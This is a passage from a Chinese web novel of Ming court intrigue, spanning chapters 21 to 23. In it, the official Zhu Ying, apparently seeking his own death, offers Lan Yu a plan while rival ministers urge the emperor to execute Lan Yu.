“老二,以我对陛下的脾气了解,他绝不会只杀我蓝玉一人,他从来就不是个心慈手软的主,哪怕当真还念着一些旧情,也不会留下整个蓝家,刚刚老大在,我没说,他大概是走不掉了,他是嫡长,陛下不会放过他。” “倘若之后运气好陛下放过了你,不要记恨,走得远远的,好好活下去。” “要实在没了去处,带着你娘去云南,找沐英。” 蓝玉像是在交代后事,蓝夏整个人怔在原地,听着蓝玉平静语气说出来的话,却早已泪流满面..... “爹....” “这当真...当真就没有办法了吗?” “要不然您再去求求陛下。毕竟您为大明这些年,没有功劳也有苦劳啊。您....” “没有用的。”蓝玉颓然地摇了摇头:“事关皇储,你爹我啊,死定了。陛下是不会放过蓝家的。” 说到这,蓝玉仿佛又好像已经释然了一般。 无计可施,只能坦然接受。 蓝夏沉默了,蓝玉也沉默了.... 就在这时... “咚咚咚。” 突然的敲门声响起。 “老爷,有客来访。是一位朝中大人。” “???” 门外的通报声让蓝玉不由一怔。 蓝夏也是一脸愕然地抬头看向蓝玉。 父子俩心中俱是疑惑。 眼下凉国公府的处境但凡是朝中的朝臣,大体都知道。 谁会在这个节骨眼来拜访? 是谁? 难道是常升?还是其他哪个淮西宿将? “来访的是哪位大人?” 蓝夏打开房门,看到了躬身站在门口的门房。 见是蓝夏,门房恭敬道:“回小公爷,是两个年轻的大人,一个说是报出他的名字老爷就会见他,我看他口气大,才来通禀。” “那他叫什么名字?” “他说他叫朱煐。” “什么?” 门房刚报出朱煐的名字,原本在房间里的蓝玉猛地抬头,三步并作两步来到门房面前,气息都紊乱了:“你说他叫什么?” “回老爷,他说他叫朱煐。是朝中御史,您....” 门房话刚说一半,蓝玉已经头也不回地向凉国公府大门方向大步走去。 门房一脸懵逼地看向一旁的蓝夏,心中不由骇然。 这朱煐是谁? 一个年轻人,让老爷反应这么大? 老爷可是大明国公爷,他可..... 等等! 他忽然想到了什么....旋即瞳孔猛地一缩.... 府中盛传的,昨日有个狂生说陛下要杀老爷,那狂生好像....就叫朱煐? ...... 蓝玉亲自出门迎接。 朱煐和张平站在凉国公府大门口。 “志远,你真没必要陪我送死。” 朱煐看着眼前的张平,也是一脸的无奈。 眼前的张平,接触不多,可朱煐觉着,这货人还算不错,没什么坏心眼,只是脑子轴了一点,耿直了一些,算是一个还不错的人。 “老大,你别说了。” “你说的对,死有轻于鸿毛,有重于泰山,为官一任,何惜此身?” “你都不怕死,我有什么好怕的?” “只要不牵连他人,陛下要杀我张志远,我这条贱命给了陛下便是,只要我的死是有价值的,我死得其所!” 张平慷慨陈词,说的都是之前朱煐义正言辞所说的话。 朱煐听着张平的话,也是不由扶额,张了张嘴,想说什么,却又不知道如何说。 这丫的,说的都是之前自己说的词啊! 朱煐不知道如何反驳自己说的话,毕竟这从明面上看,这说的是半点毛病没有。 只是.... 他娘的,我去找死,是为了功德圆满,你丫的去找死,那可是真的死了! 朱煐不想枉害了张平的性命。 他劝了一路,可张平却好像是吃了秤砣铁了心似的,一心想要跟着他一起为天下万民,为大明,救下蓝玉。 他看了朱煐信中所写,认定了蓝玉的重要性。 而朱煐却也不好过多解释推翻自己信中说的,毕竟自己还得靠着这个给咱自个儿套上一个勾结蓝玉插手皇储之争的帽子呢.... 朱煐看着心意已决的张平,只觉无奈。 ...... 这凉国公府倒是气派。 蓝玉作为如今的大明军方第一人,权倾朝野的大明战神,这气派的国公府倒也配得上他的身份。 朱煐和张平没有久等,在门房入内通禀后不久,蓝玉就火急火燎地从国公府内大步走了出来,当他看到门口的朱煐的时候,顿时两眼发光! 朱煐面带笑容看着蓝玉。 原本他是想着给蓝玉写信出计,好谋个插手皇储之争的帽子的,可转念一想。 这写信给蓝玉,还是太过委婉了一些。 眼下的老朱和史书上所记载的老朱有着不小的差别,朱煐心里几乎已经笃定,这历史上的明史绝对是在修的时候加入了不少的艺术加工,又岂是在对老朱的人物性格上,加入了太多太多的艺术修饰。 这真实的老朱和史书中的老朱压根就是全然不同的人。 要是按照史书上的老朱,自己写信与蓝玉暗通曲款,插手皇储之争,这事情要是被知晓,那自己必死无疑,一百个脑袋都不够砍的。 可话又说回来..... 这老朱真要是和那满清修的明史上的老朱一样的话,那这会儿自己早就已经功德圆满了。 是以保险起见,朱煐还是觉得亲自跑一趟更为稳妥。 这会儿还在这凉国公府外站了这么半天。 以老朱对应天府的掌控,自己眼下所做的一切,一定已经落入了老朱的耳中。 “朱御史,你这是?” 蓝玉看到朱煐出现在这凉国公府眼中满是不可思议。 要知道先前自己还亲自上门,却无功而返呢。 “凉国公不是要问计吗?我有一计,或可保凉国公府上下平安。” 朱煐笑吟吟地看着蓝玉。 蓝玉听到这话整个人当场呆立,愕然看着朱煐。 他嘴唇颤抖,激动地张嘴却一时不知说些什么。 良久,激动的蓝玉才说出话:“当..当真?” “凉国公这说的哪里话?我朱煐还能骗你不成?” “计策就在这信中,凉国公可先过目。” 说着朱煐将早就准备好的信封塞给了蓝玉。 蓝玉赶忙打开。 而当信展开之后,顿时,蓝玉整个人当场呆住了,整个人愕然抬头看向朱煐,瞳孔放大,眼中满是震惊与不可思议.... “这....” 蓝玉呆若木鸡。 “此计如何?” 朱煐笑呵呵地看着蓝玉。 蓝玉这武夫当真是好人啊,这客人来了在这大门口站着,如此甚好,让老朱看得更明白些。 咱就是插手了皇储之争。 哪怕是为了大义,自己也必死无疑! 为人臣子,如此光明正大地插手皇权更迭之事,但凡是有些脾气的皇帝都不可能忍住。 老朱,自然也在此列! 朱煐挺胸抬头,四十五度角抬头望向天空。 今日的阳光格外的刺眼,不过那湛蓝色的天空和雪白的云朵却格外漂亮..... “这应该是我在大明能见到的最后一次太阳了吧?” 想到自己即将慷慨赴死,朱煐心中不由美不胜收。 很棒,美滋滋! 第21章 又一日大朝会 朱煐给蓝玉献计。 而与此同时,应天府内,朱雀大街边上的一座雅致府宅。 这是齐泰的住所。 应天府的朱雀大街靠近皇宫,附近住的非富即贵,基本上都是朝中的大臣居多,可以说是寸土寸金。 齐泰也是仗着自家背后有些财力,才能借着家族的力量在这京都买下一座府宅。 以大明朝廷的俸禄,想买这府宅靠俸禄,估计三辈子都没指望。 齐府内苑。 齐泰屏退旁人,房间里只有两人。 一个是他,一个是黄子澄。 两人相对而坐,坐而品茶。 两人都是大明朝堂新生代的力量,又都得老朱看中,前途无量,随着老一辈的官员逐步退出舞台,朝堂上的文官集团话语权也逐渐落到了年轻一代的手中。 而齐泰和黄子澄,在文官集团中的话语权就极重,只是面上还有个刘三吾罢了。 “一晃七载,你齐尚礼都在这京都买了宅院咯。” 黄子澄笑看着齐泰。 齐泰是洪武十八年,1385年中的进士,到眼下,正好入朝七年。 七年时间就得到了老朱的青睐,这速度可以说是极快了。 “你就扯犊子吧,说的好像你家没有宅院似的。” 齐泰冲黄子澄翻了个白眼。 “还记得当年不?当年殿试,你我同答陛下考题,这一晃七年,又是一届殿试,岁月不饶人哟。” 黄子澄感慨着。 齐泰点了点头。 两人关系在朝堂诸公中算得上是非常亲近,而之所以这么亲近,除了两人都是文官集团中的年轻一辈的中坚力量之外,更重要的原因就是同门之谊! 齐泰是洪武十八年的进士,而黄子澄是洪武十八年的探花。 明朝科考最高的殿堂就是进入殿试,在奉天殿上接受老朱的亲自考校。 走到这一步的,每一届科考最多也就是五十人左右,这些人最次的,在殿试之后也会被赐进士,而排名前三的则会被钦点为状元、榜眼、探花。 而黄子澄,就是七年前洪武十八年那一届科举的探花郎。 腹有诗书,他是有能耐的。否则老朱也不可能让他当朱允炆的老师。 两人打趣了一阵,而后不约而同抬头,四目相对,两双眼睛相互对视,一时间两人都不说话了。 视线交汇了一阵后,齐泰笑了:“子澄兄在想什么呢?” 黄子澄笑了笑,拿起桌上的茶杯,抿了一口杯中茶水:“自是朝中大事。” “尚礼兄就别装糊涂了,此地只有你我,何必故作不知?” “此事说难也难,说容易倒也容易。”说着齐泰看向黄子澄:“子澄兄还是别装了,想必你也早想到对策了吧?” “前些日子我在酒楼吃酒,你猜我听到了什么?” 黄子澄话锋一转。 齐泰疑惑。 黄子澄自顾自地说道:“我听到了说书先生在说书!” “害!”齐泰翻了个白眼:“我倒是什么事,不就是说书先生在说书吗?这说书先生不说书,还能做什么?子澄兄是拿我开涮?” “岂敢岂敢。”黄子澄凑近齐泰,小声道:“我这听的书可不同寻常。这话本叫巧借东风,讲的是东汉末年,诸葛武侯与周郎周公瑾之事....这话本是朱煐写的,我且与你详细说说...” 说着黄子澄简单几句将赤壁之战的借东风给齐泰说了一遍。 齐泰抬头,一脸古怪地看向黄子澄:“所以你与我说这些做什么?” “额咳咳...”黄子澄摸了摸鼻子:“你不觉得这话本里的那一段诸葛孔明与周公瑾的交流很有风度吗?” “这般场面与眼下情景何其相似?周公瑾问计诸葛孔明,两人相约于掌心写下计策,再翻开对照,结果二人皆写出了火字。” “不如你我也效仿此景,也写一字如何?” 黄子澄笑呵呵地冲齐泰道。 齐泰无语地扫了眼黄子澄:“子澄兄好兴致。看来我想的没错,你这是成竹在胸了。” 齐泰也不墨迹,取来纸笔。 两人分别在一张纸上留了墨迹,而后同时翻开。 齐泰的面前写了三个大字,黄子澄面前的纸上写了两个大字。 两人看到了对方纸上留下的字不由相视一笑。 齐泰写的是——凉国公。 而黄子澄写的是——蓝玉! “看来我们二人还真想一起去了!”黄子澄眯着眼睛看着眼前的两张纸:“蓝玉只要还在朝中,那于我们而言就是变数。只要能让他失势,那允炆殿下的皇储之位就稳了八成!” 齐泰点了点头:“那朱煐倒也确实有几分本事,我等尚未看出的事情反倒是被他给点了出来。” “你真当他有这等本事?” “此事必然是陛下在背后指点,尚礼兄有所不知,我已得到了消息,就在我等退朝后,陛下赐给了朱煐一套宅子,离皇宫很近,这宅院先前是皇家私产,尚礼兄...可明白了?” 齐泰一拍脑袋,恍然大悟:“倒是忘了这一茬了!” “陛下早就深谋远虑,无论日后皇储是谁,蓝玉始终是个隐患,陛下想来还是心软,只是借朱煐敲打蓝玉,并未下杀心。想来陛下还在纠结。”黄子澄眯着眼睛分析,说着看向了齐泰。 “尚礼兄,你说要是我们在这时候,给纠结的陛下推一手,你说...” 齐泰皱眉,神色凝重:“你想搞死蓝玉?” “他可不好整,以他的功劳,怕是....” “正是因为他功高!功高则震主!陛下在世尚且能压住他,倘若日后皇孙登基,哪个能拿住他?” “你说,这样的蓝家,陛下他能放心吗?” “眼下陛下不过是因为旧事一时纠结,徘徊犹豫,你我要是在此时推一推陛下,此事必成!” “你就听我的,明日早朝我们....” 黄子澄眼中闪烁着精芒,脑海里计划早已成形,附过身在齐泰耳边小声说着。 齐泰的眼神也从最开始的犹豫到闪烁精芒! 从龙之功,谁又不想要一个从龙之功? 真要是日后允炆皇孙坐上了那个位置,今日做的一切,那日后都绝对是有无比丰厚的回报! 齐泰几乎没有犹豫。 谁也抵挡不住国之柱石的诱惑! 齐泰看了眼身旁的黄子澄,心中也有着自己的盘算。 黄子澄本就是皇孙的先生,我齐泰却不是,倘若今日能借此机会给允炆皇孙一个好印象,日后..... 眼下的皇储之争看似还没有结果,可经过早朝时朱允熥的表现,明眼人都能看出来这日后大明的皇帝会是谁。 在齐泰看来,这皇储之位,必然是朱允炆! 陛下的年岁已经很大了,既然皇储已经明确,那也该是时候展开一些行动了! 齐泰想着,不自觉看向窗外。 窗外,不知何时已经到了傍晚,夕阳西下..... ...... 在大明,夜晚降临得很快。 和现代不同,古代的晚上活动很少,不比现代丰富的夜生活。各家各户很早就闭上了房门。 宵禁也是古代的一个特色,对此,朱煐早已经习惯。 他本来是要回府的,但耐不住蓝玉的热情邀请,他与张平都被留在了凉国公府。 转眼便是一夜.... 翌日清晨。 天才刚蒙蒙亮。 蓝玉急不可耐地拉着朱煐和张平就往宫中赶去。 他又是一夜未睡。 不过和昨天不同,昨天是因为朱煐在朝堂上的一番话让他彻夜未眠,是慌的。 而今天,是想到朱煐的计策的可行性,想着自己绝处逢生,兴奋得失眠! ...... 奉天殿。 老朱早早就坐上了龙椅,等着百官到位。 老朱倒是没有失眠,相反,他睡得很好。 他的精神头很足。 说实在的,自从儿子朱标去世之后,老朱就一直没有睡过好觉,哪怕是一晚上的好觉都没有睡过。 可这两天,老朱却睡得很香,格外安心。 大孙子失而复得,原本以为死去多年的嫡长孙忽然出现在了自己面前不说,还颇有本事。 这能耐不光是科举考入殿试,还有朱煐的这脾气,品行,以及政治嗅觉,老朱越想越觉得这是上天的恩赐。 什么叫山重水复疑无路,柳暗花明又一村? 这就是! 老天爷让咱没了儿子,却又还了咱乖孙..... 老朱思绪正发散着,忽然一道身影落入了他的眼中,老朱顿时一个哆嗦,整个人都打了个激灵.... 咱乖孙! 老朱一眼就看到了和张平一起入朝的朱煐,眼中充满了炙热。 殿中。 朱煐刚站到自己的位置上就感受到了一股炙热的目光。 他不禁抬头,正好迎上了老朱的视线。 四目相对,心中一凛,随即心中不由一喜。 “果然,老朱毕竟是老朱,洪武大帝就是洪武大帝,想必昨天我在蓝玉府中过夜的事情已经通过眼线传到了老朱耳中,今日这刚上朝就引起了注意,好兆头啊!” 朱煐心中暗暗欣喜。 没错,咱是被老朱给盯上了! 否则怎么平白无故的谁也不看,就看自己呢? “老大,陛下好像在看你!” 朱煐身边的张平小声道。 “自然看我,昨日我们在凉国公府给出谋划策,这消息能瞒得住陛下?” “你快回自己的位置上去吧,待会儿殿上少说话,让你老大我来。此事太过凶险,你不必出手。” 朱煐淡淡扫了一旁的张平一眼。 一方面确实是担心这张平张志远因此丢了性命,总归是自己的小迷弟,不说带他飞黄腾达,也不能带他送命不是? 当然,更重要的一方面还是担心老朱的注意力仇恨值被张平这小子给分散了,万一老朱因此不杀自己,完不成慷慨就义,那不白费一番功夫了? 不能功德圆满事小,朱煐最担心的莫过于被贬为庶民或长期羁押。 一旦贬为庶民,那就意味着见不到老朱,别说功德圆满了,这辈子怕是都要在大明待着了。 至于长期羁押....比贬为庶民还惨,贬为庶民好歹靠着自己的这一身本事还能混吃混合,小日子也算不错,只是回不去了而已,可长期羁押,那可真就完蛋了。 所以这出手讲究的就是一击必中,必须攻老朱的要害,一击建功才行。 张平没有多说什么,而是听朱煐的话,默默回到了自己的位置上.... ...... 奉天殿中。 又是一日朝会。 老朱坐在龙椅上,视线落在朱煐身上,看自己的这孙儿,老朱怎么看都看不够。 百官也悉数就位。 朝会的时间也到了。 今日朝会朱允熥和朱允炆依旧悉数尽到。 和昨日不同,昨日这淮西一脉以及文官集团们刚开始入朝的时候大家还有所收敛,并没有表现得那般针锋相对。 可今日,随着朝臣到齐,文武在列,刚开始朝会偌大的奉天殿就充满了剑拔弩张之感。 淮西一脉和文臣集团之间气势相互抗衡着,整个大殿的气氛格外的怪异。 不过双方谁也没有说话,都在等待时机。 敌不动我不动,一旦提前出手,极容易被对方找到破绽。 不过对于这些玩意儿,老朱却是不屑一顾。 淮西一脉支持的是朱允熥,文臣集团支持的是朱允炆,而老朱....心中却有其他打算.... “朱煐!” 龙椅上,老朱笑着开口,打破了僵局。 老朱一句话,瞬间所有人的目光全都齐刷刷地落到了朱煐的身上.... 来了! 无论是以刘三吾,黄子澄齐泰为首的文臣集团还是以蓝玉为首的淮西一脉,目光在此刻全都聚焦在了朱煐身上。 这三日以来,可以说是朱煐一手推动了这朝堂上如今这剑拔弩张的气氛。 眼下的这皇储之争就是这丫的一手推动的! 众人心中不由一凛。 来了来了! 文臣集团在等淮西一脉先出招,淮西一脉等文臣集团先开口,双方却都没想到居然是老朱率先出了手! 朱煐被点到名,心中更高兴了。 刚开朝会就点名? 看来陛下这是一分钟都忍不住了啊! 第22章 诸君,请凉国公赴死! 想来也是,倘若我是皇帝,这一个刚入朝三日的小小官员,居然试图插手皇储之事,还硬要和蓝玉这样明摆着的棘手人物搞在一起,焉能不怒? “臣在!” 朱煐出列。 心中虽然暗喜,可脸上神色却依旧坦然淡定,一脸正色出列开口。 老朱笑呵呵地看着朱煐。 事实上这会儿的老朱对于这朝堂上的局势,什么淮西,什么文臣,压根都不被他放在眼里,他的眼里只有朱煐一人。 至于点朱煐的名字....老朱倒是没有那么多的心思,他的想法很单纯,单纯就是想大孙子了,想和大孙说说话。 “朱御史。不知昨日,爱卿睡得可好?” 老朱笑吟吟地发出了亲切的问候.... 朱煐心中一凛,更喜。 果然! 果然猜对了! 昨日在蓝玉府中一夜未归的消息终究是被老朱知晓了。 先前想来老朱对自己欣赏是基于自己‘忠直之臣’的形象,历朝历代以来,这样的范例不胜枚举,其中最出名的就是贞观时的李二和魏征,可要当忠直之臣,那就得做孤臣。可眼下,自己却在蓝玉府中过了夜!且还要出手救蓝玉。 这咱要是皇帝,咱也忍不了啊! “启禀陛下,臣睡得很好。” 朱煐微笑着回复。 压根没有半点退缩的意思,直视老朱。 “好!睡得好就好。”老朱点了点头。 他眼睛在朱煐身上四下扫了扫,心中老怀大慰。 咱大孙这心态,就是好啊。 果然,这苦难就是磨练人,前日咱不知晓他身份把他打入天牢,也未将生死放在心上,昨日在朝中大出风头,晚上也依旧安睡,不以物喜不以己悲,小小年纪就有这等心境.... 反观.... 老朱看了眼站在首列的朱允熥。朱允熥顶着个大黑眼圈,小脸煞白..... 老朱心中默默叹了口气,摇了摇头。 又看了看朱允炆,朱允炆倒是气色不错,面色圆润。和朱允熥相对比的话显然是遥遥领先,可眼下,落在老朱眼里,却是寻常。 老朱关切地问了朱煐几句之后让他回到了原位。 而随着老朱打破僵局,黄子澄与齐泰互视一眼。 齐泰了然,当即出列,率先发难。 “陛下!” “臣有本奏!” 齐泰站了出来。 “哦?何事上奏?” 老朱心情不错,准确的说,这两天老朱的心情都不错,可以说是在朱标死后心情最好的两天。 “陛下,昨日与前日,朱御史在朝中所言振聋发聩,臣先前未曾言语,只是一味回味。两天回味后,是以臣今日决心站出来,奏请陛下一事!” 齐泰一脸正气,直视老朱,眼中满是凛然和无惧。 原本老朱对齐泰想要上奏之事没有多大的兴趣,不过在听到齐泰提到朱煐,眉头一挑,看向齐泰:“不知爱卿奏请何事?” 齐泰神色一凛。 此刻,奉天殿内文武百官的目光全都齐刷刷地不约而同地落在齐泰身上。 齐泰也感受到了无数目光的注视,不过他早有心理准备,深吸一口气,坚定地看着老朱道。 “启禀陛下,前日朱御史曾言,陛下要立允炆皇孙为皇储的话,需先处理凉国公,否则遗患无穷。” “昨日,朱御史又言,陛下哪怕不立允炆皇孙为皇储,哪怕是立允熥皇孙为皇储,也需处理凉国公,否则再复曹孟德挟天子以令诸侯之事。” “微臣昨日反复思量,细细琢磨。越发觉着朱御史所言有理有据,令人信服,不过...” 说着齐泰神色一震,看向老朱一脸的痛心疾首:“细思极恐啊陛下!” “原本臣不想说,一旦臣在这朝堂说出这些话,那无异于得罪了凉国公,可臣心中又问自己,为大明,为百姓,为陛下,臣岂能因一人得失而惜身畏死?” “是以臣今日斗胆劝陛下!” “请斩凉国公!” 说着齐泰转过身,冲着蓝玉的方向遥遥一拜。 “凉国公,齐某与你速无怨仇,只是眼下大明,容不得您活着,若是凉国公也心怀大明,想来无需陛下为难,还请凉国公赴死!” 齐泰说的话掷地有声,响彻整个奉天殿。 群臣寂然。 所有人的目光全都齐刷刷地落在了齐泰的身上,眼中满是震惊与震撼。 这他娘的,齐尚礼疯了? 这般话也敢当着凉国公的面这般说? 这岂不是与凉国公成了死敌? 寻常的人心中还在疑惑,而文官集团中的一些领头人物,此刻看着一脸悲怆的齐泰,却不由皱起了眉头。 齐泰不是个无智的人,吃力不讨好的事情他可不会做。 可眼下他这么做....能有什么好处呢?这好处甚至都能让他冒着把蓝玉给得罪死的风险! 能在这明初洪武朝上混成文官集团的中坚骨干的就没有一个是简单的家伙。 虽然他们没有在第一时间理解齐泰的行为,可很快,他们就有了发现。 此刻,奉天殿第一列,朱允炆露出了笑容。 他看向殿中将生死置之度外的齐泰,脸上不由露出喜色。 齐泰可是自己的人! 有人能够为自己慷慨赴死? 对于朱允炆而言,这是一种无与伦比的成就感! 朝中的老狐狸们也都留意到了朱允炆的表情,再看向齐泰的时候,纷纷露出恍然之色。 好你个齐尚礼,合着你是打着这么个主意!这是想在允炆殿下面前好好表现啊! 雪中送炭总是弥足珍贵,经此一事,倘若日后允炆殿下当真成了皇储并继位的话,那便是从龙之功! 当即,众人一个个悉数会意。 “陛下!” 文官集团中,一位三品大员站了出来。 “臣觉得齐大人所言不无道理~!” 紧接着,一位又一位..... “陛下,朱御史前几日所言,也是让臣反省深刻啊!” “凉国公虽为我大明立下不少功劳,可眼下,凉国公便是隐患!” “凉国公,不如你自我了断吧,也省的陛下为难!” “为人臣者,当为国尽忠,请凉国公赴死!” “......” 墙倒众人推,哪怕这个人是蓝玉! 聪明人稍稍分析局势就已经明白,眼下无论日后的大明皇孙是谁,陛下立谁为皇储,都不可能留下蓝玉这么个隐患。无非是对蓝玉早下手还是晚下手的问题。 而眼下,允炆皇孙显然是最有资格当这皇储的人选,落井下石踩一脚一个必死之人,获得允炆皇孙的好感,这买卖在一众文臣集团的官员们看来简直太划算了! 更别说还有齐泰这个打头阵的在,吸引火力,哪怕是蓝玉困兽犹斗,也只会先对齐泰下手,牵连不到其他人身上。 ...... 蓝玉耳边响彻着一道道要求他赴死的声音。 看着一个个义愤填膺的文臣集团的官员,蓝玉嘴角抽了抽。 他奶奶的这些个龟孙! 一个个平日里在老子面前屁都不敢放一个,现在看老子失了势,一个个落井下石倒是一把好手! 蓝玉看着这些人的嘴脸,气的牙痒痒。 同时,心中又更加庆幸。 悄悄看了一眼朱煐所在的方向,眼中满是感激。 正是因为有眼前这一个个落井下石的小人,才让蓝玉真真切切感受到了什么叫做雪中送炭! ..... 龙椅上。 老朱看着眼前这忽然乱起来的朝堂。 在齐泰带头之后,一个个官员纷纷站了出来,瞬间统一了战线,矛头直指蓝玉。 他们打的心思和齐泰一般无二,也都希望在朱允炆的眼里留下了一分印象。 从龙之功,那再小的助力也是从龙,也是大功! 老朱当了几十年的皇帝,对于眼下这朝堂上发生的事情心里门儿清。 君看臣斗,是一大乐事。 臣子要是铁板到一块了,皇帝反倒是做不安稳了。 老朱看着眼下义愤填膺想要给未来‘皇储’表忠心的一个个官员,眼中闪过一抹冷意。 咱还在呢,就想着给其他人表忠心了? 可惜啊,一个个的都打错了算盘... 看着一个个给朱允炆表忠心的文臣集团官员,老朱不由好笑。 都觉着这皇储之位是允炆这孩子的,嘿嘿,想不到吧?咱还有其他的人选! 老朱眯着眼睛瞥了眼朱煐。 朱煐站在自己的位置上一动不动。 老朱心中一动。 他“砰!”的一声手拍在龙椅上。 随着这一声响,瞬间原本还义愤填膺,喧闹的奉天殿瞬间安静下来。 所有官员的目光齐刷刷落在坐在龙椅上的老朱身上。 方才义愤填膺开口的官员们一个个瞬间变了脸色。 他们此刻也回过味来。 刚刚急着表忠心,却是忘了陛下眼下还身体康健呢! 不好! 表现得太急切了! 在洪武朝活下来的官员哪一个不是老狐狸? 一时上头之后,立刻就回过味来,心中不由忐忑起来....生怕老朱算账..... 官员们一个个低下了头,不敢言语。 而就在这时,老朱的声音幽幽响起.... “朱御史,咱想听你说!” “你对齐泰和其他大人的说法,有什么看法??” 老朱眼睛上下扫着朱煐,这回是光明正大的,老朱感觉自己就好像怎么看也看不够似的。 在这个节骨眼被老朱点名,瞬间所有人的目光全都集中到了朱煐的身上..... 朱煐神色一正,瞥了一眼一旁的蓝玉,心中不由一喜。 刚刚他一直没有说话,只是在等一个时机,一个满朝皆敌,一个让老朱看自己不爽的契机! 轮回转世多次,对于朝堂上时机的把控的能力朱煐早已炉火纯青。 方才不语,只是一味等待他人说话铺垫。 而眼下,随着老朱点名,朱煐挺身,当即站了出来。 此刻,所有人的目光全都聚焦在朱煐的身上。 “陛下!” “臣确实是有些看法。” 朱煐中气十足的声音传遍整个奉天殿。 所有人的注意力全都落在他的身上,虽然朱煐入朝只是短短的三天,可在这短短三天内,却做出了太多次惊世骇俗之事,每一次皆是搏命之举,是以虽然他的资历浅,年纪轻,可眼下满朝文武,无论是文臣集团还是武将勋贵,有一个算一个,没有一个人敢轻视他! “朱御史请讲!” 看着朱煐,老朱的眼里充满了和蔼与满意。 这失而复得的大孙子,怎么看怎么满意。 “雄英啊雄英,当年你还小咱就知道你聪明,有天资,如今看来,咱终是没有看错啊。” 老朱心中喃喃想着。可欣喜的同时却又在忐忑。 忐忑自己在自己这大孙子心中的形象。 “也不知道那些个该死的玩意儿,咱在民间的传闻形象就那般差劲吗?” “他奶奶个球的,别让咱知道是谁在咱孙面前胡叨叨的,咱扒了你的皮!” 老朱愤懑的不行。 咱老朱,矜矜业业不敢懈怠,持国有方,结果被谣传,被污蔑? 咱不就是杀了一点点人,诛九族诛了几次吗? 怎么就成凶神恶煞的暴君了? 咱脾气也不臭....好吧,是有一点点臭,可那也只是一点点好吧? 都是污蔑!都是诋毁! 老朱脸上洋溢着笑容,尽量让自己表现得和蔼,笑吟吟地看着朱煐。 朱煐也感受到了来自老朱的目光,看着笑吟吟让自己开口的老朱,朱煐心中又是一喜。 “看来昨天在蓝玉府中过夜的消息已经被老朱知晓。” “老朱一笑,生死难料,当真是个功德圆满的好机会!” 朱煐心中暗想,眉头一挑,躬身上前,朗声便道:“陛下!齐大人方才所言,倒也并非全然没有道理,可齐大人所知,已经落后了,那只是臣前日与昨日的肤浅想法。” “入朝三天,臣细细思量,深感眼下大明时局艰,又觉臣先前想法之浅薄,竟敢妄言,实在不该,臣细细思量后,发现,曾经臣的想法是何等的浅薄!” 说着朱煐看向齐泰,拱手道:“齐大人,若是昨日与前日,你说的这些,我一定是大力支持的,可眼前的我已经不再是昨日的我了....” 说完,朱煐又看向老朱,目光坚定:“陛下,臣以为,这凉国公,杀不得!” “????” “????” “????” 朱煐此言一出。 瞬间,整个奉天殿陷入了死一般的寂静.... 所有人,无论是文臣集团还是武将勋贵亦或是淮西一脉,所有人的脑门上都挂满了一个个的问号,脸上都写满了疑惑与愕然..... 第23章 视死如归朱御史 不光是文武百官愣住了。就连此刻坐在龙椅上的老朱也愣了一下.... 齐泰瞪大了眼睛,黄子澄也是一脸愕然看着朱煐。 不是,老弟,这凉国公....不是你说必须杀的吗? 这怎么就又杀不得了? 黄子澄与齐泰互视一眼,都看出了对方眼中的愕然。 “朱御史,这凉国公怎么就杀不得了?” “不是你说的,凉国公不死,无论是立允炆殿下为皇储还是立允熥殿下为皇储,都遗祸无穷吗?” “既然都是遗祸无穷,那不是必须杀?何以就杀不得?” 齐泰忍不住站出来。 他本来就是想用朱煐当挡箭牌,想着以朱煐这初生牛犊不怕虎的性子,要是能和自己站在统一战线一起对蓝玉下手的话,自己只需要抛砖引玉,这剩下的战斗就能直接交给朱煐这个年轻人接管了。 对于朱煐,齐泰还是很有好感的。 一来,朱煐入朝走的是殿试,是正儿八经的天子门生,是文人,是通过科举考试考入的官场。 二来,朱煐如今身为御史,这妥妥的就是文官序列啊。 自己人! 当然,这小年轻有冲劲,顶撞陛下的事让小年轻上就好了。 齐泰想的是挺好的,可偏偏,眼下的局面他却是万万没有料到。 他不理解。 这特么的,怎么忽然就杀不得了? 齐泰一脸愕然,脸上带着一些急切和愠怒看着朱煐。 朱煐冲着齐泰笑道:“齐大人,我方才不都说了么。此一时彼一时,如今的我已经不再是三天前初出茅庐的我了。” “我承认,先前过于年轻,想法还是不够周全,思虑有些漏洞。” 朱煐压根没有把齐泰放在眼里,不管齐泰是怒是喜,对于他而言,都没有什么太大影响。 齐泰? 不过是一个能助力自己功德圆满的工具人罢了。 齐泰:“......” 朱煐这番话顿时让齐泰无语住了。 神特么的你不是三天前的你! 区区三天,你就从成长了? 你这在放哪门子的屁? 倘若不是在这奉天殿上,要不是这上面还有老朱坐着,这会儿齐泰怕是已经要破口大骂了。 可眼下,这场面,此情此景下,齐泰只能独自憋屈.... “还请朱御史赐教!” 齐泰咬牙切齿,沉声道。 看着朱煐,原本对朱煐心里还有不小好感的齐泰,这会儿好感荡然无存。 这他娘的。这年轻人不将武德,这不按照常理出牌啊! ..... 不仅仅是齐泰愕然。 黄子澄、刘三吾、包括淮西一脉的常升、勋贵一脉的李景隆等一众官员也都纷纷错愕地看向朱煐。 要知道,这些日子的朝堂,朱煐几乎每天都是绝对的主角,而他的观点格外的鲜明,让人印象深刻。 就从他的观点上来说,所有人都知道这丫的是妥妥主张杀蓝玉的。 齐泰说的没有半点毛病。 殿试第一日,朱煐说了,倘若要立朱允炆,那蓝玉有可能在陛下殡天之后发动兵变,到时候朝中无一人可挡,届时废帝也就顺理成章。 这丫的不是提醒让陛下杀了蓝玉吗? 还有那昨日。 昨日殿上又说了。 倘若陛下要立朱允熥,允熥殿下为皇储,那蓝玉就有可能行那曹操之事,欺辱少帝懦弱年幼,届时挟天子以令天下。 这番言论,不是想让陛下杀了蓝玉是什么? 齐泰说的没毛病啊! 可特么的....今天这口风,怎么就变了呢? 众人古怪的目光落在朱煐身上,心中排腹不已。 至于朱煐说的,自己已经不再是三天前的自己,已经成长了的言语,纯被大家当成屁话给直接略过了。 三天? 你成长了? 你当我们蠢? ...... 事实上不光光是满朝文武疑惑愕然。 此刻龙椅上的老朱也是听了朱煐的话不由一愣。 他不杀蓝玉是因为知道朱煐是自己的大孙子,想着看能不能培养大孙子,要是朱煐能够压住蓝玉的话,那蓝玉留着指定是比杀了更好,更有作用,也能让朝局少去不少动荡。 可关键....眼下咱大孙并不知道咱知道他是咱大孙啊! 他可不知道他自己的身世啊! “难道咱哪里没有表现好,被咱大孙给看出来了?” 老朱心里不由咯噔一下,喃喃自语。 瞬间老朱就紧张了,不由自主地直起了身子。 朱煐看着齐泰,不由露出笑容。 “既然齐大人诚心诚意地发问,那我自然也就言无不尽。” “快说,朱爱卿,你这究竟是怎么想的?咱也想知道。” 老朱一边说着一边观察着朱煐的面部表情。 他发现朱煐的面部表情如常,并没有任何的异常。 